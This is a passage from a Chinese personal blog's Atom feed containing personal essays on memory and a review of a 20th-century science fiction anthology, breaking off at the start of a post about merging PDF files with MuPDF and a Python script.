&lt;p&gt;我个人不赞同经理的结论，因为我看着过去的照片，总能回忆起那时的种种细节（有时甚至不用照片&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。这次整理&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;5&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年前的游记时，甚至从照片里发现了之前忘记的细节（清明那天下午就有小雨&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。然而，确实有大量的记忆悬浮在脑中，可以说是一团乱麻（我们哪天吃的日料？在哪吃的？骑车有没有路过某个书店、商场&lt;span class=&quot;halt&quot;&gt;？&lt;&#x2F;span&gt;）尽管我背不出圆周率小数点后一百位，我也时常为自己的记忆力感到骄傲。但是，随着年龄的增长，我越来越怕忘掉某些细节（姥姥有次带我买菜，是在什么时候，买了什么？奶奶有次带我散步，路过一条很好闻的马路，第二天她从那里的食品厂给我买了纸杯蛋糕。那家厂在哪，第二天又是哪一天&lt;span class=&quot;halt&quot;&gt;？&lt;&#x2F;span&gt;）更令人害怕的不是忘记，而是怀疑自己的回忆（我记得我见过爷爷，但他们都说不可能。我真的见过某个人么？见过的话，他是谁&lt;span class=&quot;halt&quot;&gt;？&lt;&#x2F;span&gt;&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;当然，一篇能被塞进共收录&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;27&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;部小说的集子的短篇是无法回答我的问题的。为了抵抗忘却和怀疑，我的方法是&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;vita-brevis&#x2F;#%E8%AE%B0%E5%BD%95%E8%87%AA%E5%B7%B1%E7%9A%84%E7%94%9F%E6%B4%BB&quot;&gt;不停地记录&lt;&#x2F;a&gt;、&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;tracking-and-note-taking&#x2F;&quot;&gt;全方位地记录&lt;&#x2F;a&gt;&lt;span class=&quot;halt&quot;&gt;（&lt;&#x2F;span&gt;我有说过我&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;tracking-and-note-taking&#x2F;#%E4%B8%BA%E4%BA%86%E9%81%97%E5%BF%98%E8%80%8C%E8%AE%B0%E5%BD%95&quot;&gt;为了遗忘而记录&lt;&#x2F;a&gt;：我想为了保留精力而忘记一些事情，但不允许自己凭空忘记，所以选择记录——可以说我同时为了忘记和不要忘记而记录。取那样的小标题是因为当时发现记录有助于选择性遗忘琐事&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。我知道花大把时间去记录过去是背叛当下的生活——或者说，捡了芝麻丢了西瓜。但它确实有瘾：我最近开始记录起心跳、血氧含量、冰箱历史、家务历史、&lt;span class=&quot;halt&quot;&gt;（&lt;&#x2F;span&gt;除了手机、笔记本外的）充电历史……&lt;&#x2F;p&gt;
&lt;p&gt;以下是《雪》的最后两段（约翰・克劳利作，李懿译&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;访问乔吉的办法只有一个，那就是每每当我坐在门廊上，或推着购物车，或站在洗脸池前时，那种回忆突如其来地降临到我脑海，那么记忆犹新，那么令人惊异，犹如催眠师的响指。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;或者是你有时也会体验的那种有趣经历——入睡时听到远方的谁轻唤你的名字，声音如此清晰。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;我对结尾的解读是：永远不要靠外物去回忆。&lt;&#x2F;p&gt;
&lt;div style=&quot;height:100vh&quot;&gt;
&lt;&#x2F;div&gt;
&lt;p&gt;我觉得上一句是本文最诗意的结尾。但我是一个三流作家，偏要把自己想说的说完才好（有个朋友说我话多，也许我真的话很多&lt;span class=&quot;halt&quot;&gt;？&lt;&#x2F;span&gt;&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。我倾向于认同《雪》的结尾，但更令我困惑的是我应该什么时候回忆、回忆多少算够？问出这样的问题，是因为我发现我处在一个尴尬的年龄。现在，我有海量供我回忆的事件，还有像播放器一样精准的回放能力。客观来说，目前是我最适合回忆的时间段。可矛盾的是：我有远远大于目前可供回忆的事件总量的未来。如果我抓住机会享受现在、建造未来，似乎发生在我人生前&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;20&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年的事情就必须要在回忆的效果上打折扣。&lt;&#x2F;p&gt;
&lt;p&gt;早年间果壳网&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&#x2F;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;科学松鼠会还在的时候，我看过一篇关于没有记忆的人的报道。他的具体病症忘记了，但肯定还不至于拿起叉子忘了吃饭的地步。在见到他之前，记者认为记不住事的人一定很痛苦，但事实上他活得很好——怎么个好法我忘了，但似乎是像普通人一样好。&lt;&#x2F;p&gt;
&lt;p&gt;丧失回忆的能力，是否是一件好事呢？&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;shanghai-2018
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;shanghai-2018&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    



&lt;br &#x2F;&gt;
&lt;details open likes&gt;
    &lt;summary&gt;


一人赞过：&lt;&#x2F;summary&gt;
    &lt;ol reversed&gt;
        
        &lt;li&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mona.do&amp;#x2F;users&amp;#x2F;Brsu&quot;&gt;










黑糖 :splat_golden_egg:&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
        
    &lt;&#x2F;ol&gt;
&lt;&#x2F;details&gt;



    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>《20世纪最佳科幻小说选》选评</title>
    <published>2023-06-26T19:40:58+01:00</published>
    <updated>2023-07-20T10:45:41+01:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/sci-fi-masterpieces/" type="text/html" />
    <id>https://emptystack.top/sci-fi-masterpieces/</id>
    <content type="html">
      &lt;div class=&quot;maybe-columns&quot;&gt;
&lt;p&gt;我在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;6&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;月&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;16&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;日前的某天读完了《大师的盛宴：20&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;世纪最佳科幻小说选》这本书。我记得两年前在国博门外等朋友时就在读（当时好像在看某篇跨时空征兵征到变性的自己的无聊故事&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，时隔两年总算读完了。不仅读完，还发现了几篇喜欢的，所以准备写一篇书评放的博客上。但不知为何创建了空白文件以后就没怎么动笔了。想到去年&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;11&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;月&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;27&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;号创建的《路边野餐》到现在只有一句“出版过程的后记有点像中国&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;，以及再往前写了不少但仍未整理完的《中国游记》和《秦淮之夜&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，我觉得还是把这次科幻选的书评简要又散乱的&lt;s&gt;写在日记本里吧。&lt;&#x2F;s&gt;在日记本上很顺畅就写完了，所以又搬过来了。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;20-sci-fi-cover-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;20-sci-fi-cover-optim.jpg&quot;
	alt=&quot;特别像灵修书籍的封面&quot;
	height=&quot;1024&quot;
	width=&quot;665&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;虽然小说这种题材卖的就是故事，但不谈具体情节的书评和“XXX&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;真好”一样相当于什么也没说。所以，&lt;strong&gt;这篇有剧透。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;仍记得清的两篇烂作&quot;&gt;仍记得清的两篇烂作&lt;&#x2F;h2&gt;
&lt;p&gt;首先说我讨厌的《那些离开奥梅拉斯的人》这篇既无新意又无趣，同时和科学幻想毫不沾边。陀氏用类似的想象（如下）引出了《宗教大法官&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，而《那些离开奥梅拉斯的人》的作者只是在进行“我知道这种情况下该怎么选&lt;span class=&quot;halt&quot;&gt;！&lt;&#x2F;span&gt;”的宣言。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;叛逆吗？我不愿听你说这样的话&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;”伊凡十分诚挚地说，&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;不管一个人能不能在叛逆中过生活，但我是愿意这样生活的。请你对我直说，我要求你，请你回答：假设你自己要建筑一所人类命运的大厦，目的在于最后造福人类，给予他们和平和安谧，但是为这个目的，必须而且免不了要残害哪怕是一个小小的生物，比方说就是那个用小拳头捶胸脯的孩子吧，要在他的无法报偿的眼泪上面建造这所大厦，在这种条件下，你答应不答应做这房子的建筑师呢？请你坦白说，不要说谎&lt;span class=&quot;halt&quot;&gt;！&lt;&#x2F;span&gt;&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-1&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-1-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-1-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[1]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-1-content&quot;&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.oxfordreference.com&#x2F;display&#x2F;10.1093&#x2F;acref&#x2F;9780191826719.001.0001&#x2F;q-oro-ed4-00003773;jsessionid=DD55493EC254908DA06DAD257A62508B#:~:text=Imagine%20that%20you,5%2C%20ch.%204&quot;&gt;出自《卡拉马佐夫兄弟》第二部，第二卷，第四章&lt;&#x2F;a&gt;，耿济之译本。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;罐子》像好莱坞实在没有能看的剧本了，由随机路人在五分钟内写完的故事。内含：会说话的车辆和机器人！千疮百孔的地球风光！废墟似的人类建筑！科幻片必备的休眠舱和克隆体！主角一边说自己相信科学，一边对智者角色施行个人崇拜！拍了不如没拍的武打戏！拍拍孩子的肩膀，我要继续远航啦！&lt;&#x2F;p&gt;
&lt;p&gt;其实还有几篇讨厌的，但是已经忘记讲的是什么了。从这本书能让我搁置两年这点来看，前面的故事我大概都不喜欢（除了残疾人在控制外星动物的试验结束后不愿重返自己的身体那篇&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;情节很好的三篇&quot;&gt;情节很好的三篇&lt;&#x2F;h2&gt;
&lt;p&gt;接着说了情节优秀的：&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;世界底下的隧道》和《沙王&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;。前者一波三折（土拨鼠之日&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;→&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;催眠与模拟社会&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;→&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;什么她是机器人？什么我也是机器人？→&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等比例缩小的城镇和居民&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，其中的广告实验不禁让人联想到现在推动“互联网&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;=&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;粪坑”的传媒公司；后者没什么出人意料的波折，但其中主角之疯狂、虫子之恶心让读者不寒而栗。&lt;&#x2F;p&gt;
&lt;p&gt;我看大家一致认为《沙王》读起来恐怖，很明显马丁出色的描写（如“沙王队伍从他身边经过时，跛行兽的头似乎正在责备的看着他&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;）功不可没。但之所以我读起来也觉得恐怖应该是因为几个月来在公寓里三次遇到（似乎是不同种的）大蜘蛛（最后一次还是在卧室，跑了&lt;span class=&quot;halt&quot;&gt;！&lt;&#x2F;span&gt;）以及两次见到（貌似是同一只的）老鼠。恐怖的房客真的住在我家，我的潜意识也因为他们而担惊受怕（前些天不时感觉墙里有声音，但似乎是冷冻室没关好结冰了&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。如果我当年在国博门口读到这篇，我不认为它会如现在般恐怖。马丁真应该提着慰问品来拜访我家的蜘蛛老鼠。&lt;&#x2F;p&gt;
&lt;p&gt;把鼠标放在下图上一秒钟看我在家逮到的&lt;strong&gt;巨大蜘蛛&lt;&#x2F;strong&gt;&lt;span class=&quot;halt&quot;&gt;（&lt;&#x2F;span&gt;虽然不是澳洲级别的巨大，但仍旧很吓人&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;style&gt;
.hover-to-unblur {
    filter: blur(30px);
}
.hover-to-unblur :hover {
    filter: blur(0);
    transition-delay:1s;
}
&lt;&#x2F;style&gt;
&lt;div class=&quot;hover-to-unblur&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230315_100008744-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230315_100008744-optim.jpg&quot;
	alt=&quot;巨大的棕黑色蜘蛛&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;说起国博，我忘了那次是因为哪件展品而去了，但我记得我在那里第二次见到了月壤（下图&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。月亮总让人感到浪漫：它和太阳一样每天陪伴我们，但反射出的光线柔和而朦胧。住在上面的神仙、&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;天涯共此时”和星球表面的人类足迹，都给月亮带来无限的遐想空间。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20210428_101707-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20210428_101707-optim.jpg&quot;
	alt=&quot;21年在国博看到的月壤&quot;
	height=&quot;768&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;如果耀眼夺目的皓月告诉你地球另一面的太阳突然明亮了数千倍，但这轮月亮还会冷静地在人生最后几个小时陪伴你……等下，先不要去想最后关头要干些什么，看看遍地的月光（很可能无法直视月亮了&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，想想自己热爱的、焦虑的事物都要于今夜消失，难道没有一股轻松的气息从胸膛流向四肢吗？&lt;&#x2F;p&gt;
&lt;p&gt;由明月来暗示一切的终结，这样的结局就像月光一样美好。给不知情的服务员大量小费、去商店买下自己一辈子也吃不完的零食和酒水、上珠宝店体会自己有能力想拿什么就拿什么快乐……如果让我来写，我会删除女主和最后的希望。但这篇已经够好了，它给了我一种世界末日的惬意想象。&lt;&#x2F;p&gt;
&lt;p&gt;虽然和剧情关系无关，但突然想起&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Echo &amp;amp; The
Bunneymen&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的《The Killing
Moon&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;。请各位听完了再向下看（否则片段播放完会被苹果的广告拽回来&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;iframe allow=&quot;autoplay *; encrypted-media *; fullscreen *; clipboard-write&quot; frameborder=&quot;0&quot; height=&quot;175&quot; style=&quot;width:100%;overflow:hidden;border-radius:10px;&quot; sandbox=&quot;allow-forms allow-popups allow-same-origin allow-scripts allow-storage-access-by-user-activation allow-top-navigation-by-user-activation&quot; src=&quot;https:&#x2F;&#x2F;embed.music.apple.com&#x2F;us&#x2F;album&#x2F;the-killing-moon&#x2F;251006541?i=251006874&quot;&gt;
&lt;&#x2F;iframe&gt;
&lt;p&gt;有个朋友告诉我她躺在床上就能看到月亮。我今晚也打算不拉窗帘就睡&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-2&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-2-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-2-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[2]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-2-content&quot;&gt;我尝试以后发现月亮不在我窗户这边。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;宇宙探索的无聊&quot;&gt;宇宙探索的无聊&lt;&#x2F;h2&gt;
&lt;p&gt;我是无聊的人。对于宇宙探索这一行为，我的想像是无上的使命感搭配极端无聊、日复一日的空虚。毕竟外太空不是市中心，而且它的空间大到难以想象，探索起来应该比工作还无聊。这就是为什么我特喜欢首发时期的《无人深空&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;（下图&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;：在空洞又略显重复的星球上机械地干着上一颗星球上干过的事——啊，太对了，这就是我对太空探索的全部想象。&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;一》带给我的感受就是这样的作品——我肯定作者想表达的不只是太空的无聊感，但我就好这口。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;275850_screenshots_20160813220714_1-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;275850_screenshots_20160813220714_1-optim.jpg&quot;
	alt=&quot;16年玩《无人深空》的截图&quot;
	height=&quot;576&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;今年&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;9&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;月&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;B&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;社的新游戏《星空》就要发售了。从预告来看，游戏里能干的事情出奇得多。如果成品符合预告，那可玩性一定爆炸性得高；如果成品无聊透顶，又符合我对星空这一主题的期待。真想玩啊！&lt;&#x2F;p&gt;
&lt;h2 id=&quot;孤独感&quot;&gt;孤独感&lt;&#x2F;h2&gt;
&lt;p&gt;其实无聊大部分情况下是和孤独结伴而来的。&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;脸值》就是把孤独感渲染得很好的作品：遥远的星球上并不相爱的孤男寡女抛弃了家人在研究一种翅膀上有人脸图案的大虫子（其实男的似乎喜欢女的，也以为对方爱他。但女的跟他飞过来只是想从异星虫子身上找到诗歌的灵感，却一无所获，最后放弃了活着&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。结局里虫子占据了女主的身体。类似&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;jump
scare&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的恐怖之下埋藏的是名为孤独的更可怕概念。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;熊学会用火》这篇我说不上来为什么会带给我孤独感。老妈从医院里跑出来和熊围火而坐，制止了主角聊天的冲动，接过了熊很喜欢的&lt;ruby&gt;新莓&lt;rp&gt;（&lt;&#x2F;rp&gt;&lt;rt&gt;newberry&lt;&#x2F;rt&gt;&lt;rp&gt;）&lt;&#x2F;rp&gt;&lt;&#x2F;ruby&gt;，不准主角回家睡觉后当晚冻死了。葬礼后主角回到那篝火，却让熊感到不自在。最后主角再次尝试咽下新莓，又失败了，并得出结论——&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;除非你是一头熊&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;。我猜让我感到孤独的点是：母亲融入熊后离开了自己，可自己却不被熊所接纳。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;孤独以外&quot;&gt;孤独以外&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;一逃了之》里的女主作为核战后唯一存活的正常政府人员（另一个存活的政府人员是在她面前装傻的总统&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，一定感到孤独。当然，更多的还是焦躁。&lt;&#x2F;p&gt;
&lt;p&gt;剩下的两篇虽然也是独身一人，但我没怎么读出孤独感。&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;雪》所探讨的是回忆方式，而《旅行者》讲述的似乎是一张白纸（或相对白纸）如何适应社会。&lt;&#x2F;p&gt;
&lt;p&gt;关于《雪》我有挺多想说的，今天先到这吧&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-3&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-3-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-3-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[3]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-3-content&quot;&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;雪》的感受写在&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;shanghai-2018&#x2F;#%E5%90%8E%E8%AE%B0&quot;&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;2018&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上海游》的后记&lt;&#x2F;a&gt;中了。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;预告&quot;&gt;预告&lt;&#x2F;h2&gt;
&lt;p&gt;我高中到大学初期还蛮喜欢写幻想类小故事的，不知为什么后来再也没写过了。最近我打算重新捡起笔，延续那时的风格。请大家期待《消灭这颗星球上的所有碱水面&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;sci-fi-masterpieces
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;sci-fi-masterpieces&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>合并PDF文件，并保留目录</title>
    <published>2023-06-09T21:09:20+01:00</published>
    <updated>2023-06-09T21:12:24+01:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/cat-pdf/" type="text/html" />
    <id>https://emptystack.top/cat-pdf/</id>
    <content type="html">
      &lt;p&gt;有些出版社只提供按章节分开的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;PDF&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;文件，而我喜欢读整本书，所以查了查如何把它们拼成一整个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;PDF&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;文件——很简单的！只需要安装&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;MuPDF，然后使用如下命令即可：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;mutool&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; merge&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; -o&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; output.pdf input1.pdf input2.pdf input3.pdf ...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我昨天以为它和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;pymupdf&#x2F;PyMuPDF&#x2F;wiki&#x2F;Inserting-Pages-from-other-PDFs&quot;&gt;PyMuPDF&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;join&lt;&#x2F;a&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;一样不保留目录，所以写了&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;sinofp&#x2F;cat-pdf&quot;&gt;如下脚本&lt;&#x2F;a&gt;：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; fitz&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
